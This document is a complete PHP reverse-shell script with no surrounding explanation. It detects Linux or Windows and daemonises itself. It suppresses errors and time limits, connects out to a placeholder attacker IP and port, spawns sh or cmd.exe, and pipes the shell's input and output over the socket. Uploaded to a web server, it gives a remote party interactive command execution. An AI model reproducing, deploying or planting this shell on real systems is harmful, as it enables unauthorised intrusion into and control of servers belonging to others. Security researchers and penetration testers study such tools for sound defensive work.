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<?php
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
private $buffer = 1024;
private $clen = 0;
private $error = false;
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) {
$this->os = 'LINUX';
$this->shell = 'sh';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0);
@umask(0);
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) {
$this->error = true;
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) {
$this->error = true;
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); }
$this->dump($data);
}
}
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data);
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false);
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false);
}
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) {
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) {
echo "PROC_ERROR: Shell process has been terminated\n"; break;
}
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]),
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0);
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); }
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); }
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }
} else if ($this->os === 'WINDOWS') {
if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); }
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); }
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); }
}
}
} while (!$this->error);
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
fclose($socket);
}
}
}
}
echo '<pre>';
$sh = new Shell('<your_ip>', <port>);
$sh->run();
unset($sh);
echo '</pre>';
?>
|
